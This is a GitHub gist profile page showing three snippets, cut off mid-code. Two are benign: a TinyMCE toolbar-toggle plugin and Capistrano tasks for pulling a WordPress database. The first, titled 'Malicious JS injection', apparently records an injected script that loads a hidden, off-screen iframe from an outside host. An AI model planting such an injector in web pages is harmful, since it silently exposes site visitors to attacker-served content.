Skip to content

Instantly share code, notes, and snippets.

Avatar

Andy Adams andyadams

View GitHub Profile
@andyadams
andyadams / gist:2975029
Created Jun 22, 2012
Malicious JS injection
View gist:2975029
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://pmfslzj.tld.cc/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://pmfslzj.tld.cc/d/404.php?go=1');
f.style.visibility='hidden';
@andyadams
andyadams / editor_plugin.js
Created Apr 9, 2012
TinyMCE toggle third row of buttons
View editor_plugin.js
init : function( ed, url ) {
ed.onInit.add(function( ed ) {
if ( getUserSetting( 'hidetb', '0' ) == '0' ) {
jQuery( '#content_toolbar3' ).hide();
}
jQuery( '#wp-content-editor-container #content_wp_adv' ).click(function() {
if ( jQuery( '#content_toolbar2' ).is( ':visible' ) ) {
jQuery( '#content_toolbar3' ).show();
} else {
@andyadams
andyadams / gist:2030363
Created Mar 13, 2012
Capistrano Pulldown scripts for WordPress database and uploads
View gist:2030363
desc "Pull a database dump from remote server, drop the local database, then import the dump"
task :pull_database_to_local do
# Build out temporary file name with timestamp for uniqueness
timestamp = get_timestamp
temp_file_name = "database_dump_#{timestamp}"
remote_file_name = remote_mysqldump(temp_file_name)
download(remote_file_name, "/tmp/#{temp_file_name}.sql.gz")